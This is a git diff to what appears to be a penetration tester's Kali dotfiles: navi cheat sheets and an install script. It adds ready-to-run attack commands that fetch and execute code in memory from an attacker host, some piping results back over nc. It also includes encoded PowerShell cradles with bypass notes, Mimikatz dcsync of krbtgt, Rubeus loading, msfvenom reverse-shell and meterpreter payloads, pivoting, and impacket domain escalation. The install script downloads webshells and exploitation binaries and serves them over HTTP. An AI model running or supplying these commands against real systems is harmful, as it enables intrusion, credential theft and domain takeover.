xct · thamyekh · Jan 6, 2023 · Jan 8, 2023 · Jan 9, 2023 · Jan 9, 2023
diff --git a/.local/share/navi/cheats/enumeration.cheat b/.local/share/navi/cheats/enumeration.cheat
@@ -0,0 +1,20 @@
+% enumeration
+
+# download + execute winPEASany from memory in PowerShell
+$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("<OPTIONAL_PARAM>")
+
+# fileless execution of linpeas
+sudo python3 -m http.server 80
+curl <KALI_IP>/linpeas.sh | sh #Victim
+
+# fileless execution of linpeas
+sudo nc -q 5 -lvnp 80 < linpeas.sh
+cat < /dev/tcp/<KALI_IP>/80 | sh #Victim
+
+# excute from memory and send output back to the host
+sudo python3 -m http.server 80
+nc -lvnp 9002 | tee linpeas.out
+curl <KALI_IP>/linpeas.sh | sh | nc <KALI_IP> 9002 #Victim
+
+#read linpeas output with colors
+less -r linpeas.out
diff --git a/.local/share/navi/cheats/impacket.cheat b/.local/share/navi/cheats/impacket.cheat
@@ -8,3 +8,10 @@ impacket-smbserver -smb2support evil $PWD
 
 # smbserver (password share on kali)
 impacket-smbserver -smb2support -username evil -password evil evil $PWD
+
+# raiseChild
+impacket-raiseChild -hashes <LMHASH>:<NTHASH> <CHILD_DOMAIN>/<ADMIN_USER>
+impacket-raiseChild -hashes <LMHASH>:<NTHASH> <CHILD_DOMAIN>/<ADMIN_USER>:'<PASS>'
+
+# psexec via env KRB5CCNAME (testing needed remove dc-ip and target-ip)
+impacket-psexec  -k -no-pass <DOMAIN>/<ADMIN>@<ETC_HOST_FQDN> -dc-ip 192.168.178.70 -target-ip 192.168.178.70
diff --git a/.local/share/navi/cheats/mimikatz.cheat b/.local/share/navi/cheats/mimikatz.cheat
@@ -0,0 +1,6 @@
+% mimikatz
+
+# invoke-mimikatz single command with spaces
+IEX(New-Object Net.WebClient).DownloadString("http://<KALI_IP>/win/Invoke-Mimikatz2.ps1")
+; example: dcsync
+Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<FQDN> /user<DOMAIN>:\krbtgt"'
diff --git a/.local/share/navi/cheats/msfconsole.cheat b/.local/share/navi/cheats/msfconsole.cheat
@@ -0,0 +1,24 @@
+% msfconsole
+
+# listener handler
+msfconsole -q -x "use multi/handler; set payload <PAYLOAD>; set lhost <LHOST>; set lport <PORT>; exploit"
+
+# meterpreter pivoting
+use multi/manage/autoroute
+set session <SESSION>
+exploit
+use auxiliary/server/socks_proxy
+set srvhost 127.0.0.1
+exploit -j
+
+# port scan via pivot
+use auxiliary/scanner/portscan/tcp
+set RHOST <TARGET_IP>
+
+# duplicate meterpreter session start background multi/handler first 
+use post/windows/manage/multi_meterpreter_inject
+set iplist <VICTIM_IP>
+set lport 443
+set payload <PAYLOAD>
+set session <SESSION>
+exploit
diff --git a/.local/share/navi/cheats/msfvenom.cheat b/.local/share/navi/cheats/msfvenom.cheat
@@ -6,10 +6,13 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f war -o shell.w
 # windows 64 reverse powershell
 msfvenom -p windows/x64/powershell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -a x64 --platform windows -b '\x00' -e x64\xor_dynamic -o shell.exe
 
+# windows 64 meterpreter https
+msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f exe -o met.exe
+
+# linux 64 meterpreter
+msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f elf prependfork=true -t 300 -e x64/xor_dynamic -o shellme.elf
+
 $ LHOST: ip -f inet addr show tun0 | sed -En -e 's/.*inet ([0-9.]+).*/\1/p'
 
 # search payloads
 msfvenom --list payloads | grep linux | grep meterpreter | grep x64
-
-# listener handler
-msfconsole -q -x "use multi/handler; set payload <PAYLOAD>; set lhost <LHOST>; set lport <PORT>; exploit"
diff --git a/.local/share/navi/cheats/powershell.cheat b/.local/share/navi/cheats/powershell.cheat
@@ -1,4 +1,13 @@
 % powershell/misc
 
-# powershell base64 encode command string
-[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'mikefrobbins.com'"))
+# base64 encode command string
+$text = "(New-Object System.Net.WebClient).DownloadString('http://<KALI_IP>/run.txt') | IEX"
+[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes($text))
+powershell -enc KABOAGUA...==
+
+# fileless import/execute (bypass amsi first)
+IEX(New-Object Net.WebClient).DownloadString("http://<KALI_IP>/<PS1>")
+powershell -ep bypass -command "iex(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/<PS1>')"
+echo IEX (New-Object Net.WebClient).DownloadString('http://<KALI_IP>/<PS1>') | powershell -NoProfile -Command -
+(New-Object System.Net.WebClient).DownloadString('http://<KALI_IP>/<PS1>') | IEX
+powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest 'http://<KALI_IP>/<PS1>').Content).Invoke();"
diff --git a/.local/share/navi/cheats/rubeus.cheat b/.local/share/navi/cheats/rubeus.cheat
@@ -0,0 +1,7 @@
+% rubeus
+
+# running in memory
+[Convert]::ToBase64String([IO.File]::ReadAllBytes("/opt/win/Rubeus.exe")) | Out-File -Encoding ASCII /opt/win/rubeus.txt
+$content = (New-Object System.Net.WebClient).DownloadString('http://<KALI_IP>/win/rubeus.txt')
+$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($content))
+[Rubeus.Program]::Main("<RUBEUS_CMD>".Split())
diff --git a/.local/share/navi/cheats/smb.cheat b/.local/share/navi/cheats/smb.cheat
@@ -7,4 +7,8 @@ smbclient -L //<RHOST> -U ''
 net use z: \\\<LHOST>\evil /user:evil evil
 dir Z:\
 
+# execute files directly from smb
+net use \\<LHOST>\share /user:<USER> <PASS>
+\\<LHOST>\share\OSEP-Code-Snippets\<ATTACK_TYPE>\bin\x64\Release\<BIN>
+
 $ LHOST: ip -f inet addr show tun0 | sed -En -e 's/.*inet ([0-9.]+).*/\1/p'
diff --git a/.local/share/navi/cheats/template.cheat b/.local/share/navi/cheats/template.cheat
@@ -0,0 +1,7 @@
+% start tags
+
+# should be descriptions of commands
+; are ignored. You can use them for metacomments
+navi --print
+
+$ LHOST: ip -f inet addr show tun0 | sed -En -e 's/.*inet ([0-9.]+).*/\1/p'
diff --git a/install.sh b/install.sh
@@ -21,40 +21,43 @@ betterlockscreen -u . --fx color --color 808080
 
 # rust tools install
 cargo install rustscan navi
-
-# github tools install
-sudo curl -sL https://api.github.com/repos/carlospolop/PEASS-ng/releases/latest | jq -r ".assets[].browser_download_url" | sudo tee git_peass
-sudo mkdir -p /opt/peass && sudo wget -i git_peass -P /opt/peass
-sudo wget https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1 -P /opt/peass
-sudo curl -sL https://api.github.com/repos/DominicBreuker/pspy/releases/latest | jq -r ".assets[].browser_download_url" | sudo tee git_pspy
-sudo mkdir -p /opt/pspy && sudo wget -i git_pspy -P /opt/pspy
-sudo curl -sL https://api.github.com/repos/jpillora/chisel/releases/latest | jq -r ".assets[].browser_download_url" | grep -e 386 -e amd64 | grep -v darwin | sudo tee git_chisel
-sudo mkdir -p /opt/lateral && sudo wget -i git_chisel -P /opt/lateral
-sudo rm git_peass git_pspy git_chisel
-sudo mkdir -p /opt/webshells
-sudo git clone https://github.com/ivan-sincek/php-reverse-shell.git /opt/webshells/php-reverse-shell
-sudo mkdir -p /opt/webshells/p0wny-shell
-sudo wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -P /opt/webshells/p0wny-shell
-sudo mkdir -p /opt/win_binaries
-sudo wget https://gitlab.com/kalilinux/packages/windows-binaries/-/raw/kali/master/nc.exe -P /opt/win_binaries
-sudo wget https://live.sysinternals.com/PsExec.exe -P /opt/win_binaries
-sudo wget https://live.sysinternals.com/PsExec64.exe -P /opt/win_binaries
-sudo wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe -P /opt/win_binaries
-sudo wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -P /opt/win_binaries
-sudo wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z -P /opt/win_binaries
-sudo mkdir /opt/lin_binaries
-elf=$(sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases | jq -r ".[].tag_name" | grep nmap | head -n 1)
-sudo wget $(sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases/tags/$elf | jq -r ".assets[].browser_download_url" | grep _64 | grep tar) -P /opt/lin_binaries
-elf=$(sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases | jq -r ".[].tag_name" | grep socat | head -n 1)
-sudo wget $(sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases/tags/$elf | jq -r ".assets[].browser_download_url" | grep _64) -P /opt/lin_binaries
-
 # python tools install
-
 pip3 install bloodhound
-
 # ruby tools install
 sudo gem install evil-winrm
 
+# wget tools install into /opt
+sudo mkdir -p /opt/lin /opt/web /opt/win
+sudo curl -sL https://api.github.com/repos/jpillora/chisel/releases/latest | jq -r ".assets[].browser_download_url" | grep -e 386 -e amd64 | grep -v darwin | sudo tee /tmp/git_download
+sudo curl -sL https://api.github.com/repos/projectdiscovery/naabu/releases/latest | jq -r ".assets[].browser_download_url" | grep -e 386 -e amd64 | sudo tee -a /tmp/git_download
+sudo cat /tmp/git_download | grep linux | sudo tee /tmp/git_download_lin
+sudo cat /tmp/git_download | grep windows | sudo tee /tmp/git_download_win
+elf=$(sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases | jq -r ".[].tag_name" | grep nmap | head -n 1)
+sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases/tags/$elf | jq -r ".assets[].browser_download_url" | grep _64 | grep tar | sudo tee -a /tmp/git_download_lin
+elf=$(sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases | jq -r ".[].tag_name" | grep socat | head -n 1)
+sudo curl -sL https://api.github.com/repos/ernw/static-toolbox/releases/tags/$elf | jq -r ".assets[].browser_download_url" | grep _64 | sudo tee -a /tmp/git_download_lin
+sudo wget -i /tmp/git_chisel_lin -P /opt/lin
+sudo wget -i /tmp/git_chisel_win -P /opt/win
+sudo wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -P /opt/lin
+sudo curl -sL https://api.github.com/repos/DominicBreuker/pspy/releases/latest | jq -r ".assets[].browser_download_url" | sudo tee /tmp/git_pspy
+sudo mkdir -p /opt/lin/pspy && sudo wget -i /tmp/git_pspy -P /opt/lin/pspy
+sudo git clone https://github.com/ivan-sincek/php-reverse-shell.git /opt/web/php-reverse-shell
+sudo wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -P /opt/web/p0wny-shell
+sudo wget https://raw.githubusercontent.com/z3mms/HostRecon/master/HostRecon.ps1 -P /opt/win
+sudo wget https://raw.githubusercontent.com/thamyekh/OSEP-Code-Snippets/main/active_directory/Invoke-Mimikatz2.ps1 -P /opt/win
+sudo wget https://gitlab.com/kalilinux/packages/windows-binaries/-/raw/kali/master/nc.exe -P /opt/win
+sudo wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe -P /opt/win
+sudo wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -P /opt/win
+sudo wget https://live.sysinternals.com/PsExec.exe -P /opt/win
+sudo wget https://live.sysinternals.com/PsExec64.exe -P /opt/win
+sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/Rubeus.exe -P /opt/win
+sudo wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe -P /opt/win
+sudo ln -s /opt/lin /var/www/html/lin
+sudo ln -s /opt/web /var/www/html/web
+sudo ln -s /opt/win /var/www/html/win
+# TODO: remove this line after checking nabuu linwinpeas chisel p0wnyshell php nmap socat rubeus are installed
+
+
 # nerdfonts install/reboot
 mkdir -p ~/.local/share/fonts/
 sudo curl -sL https://api.github.com/repos/ryanoasis/nerd-fonts/releases/latest | jq -r ".assets[] | select(.name | test(\"Iosevka\")) | .browser_download_url" > iosevka
@@ -73,4 +76,4 @@ fc-cache -fv
 sudo apt -y install pipewire-pulse wireplumber pipewire-media-session-
 systemctl --user --now enable wireplumber.service
 
-echo "Done! Please reboot: Select i3 on login, run lxappearance and select arc-dark, you can also delete this repo."
+echo "Done! After reboot run lxappearance and select arc-dark, you can also delete this repo."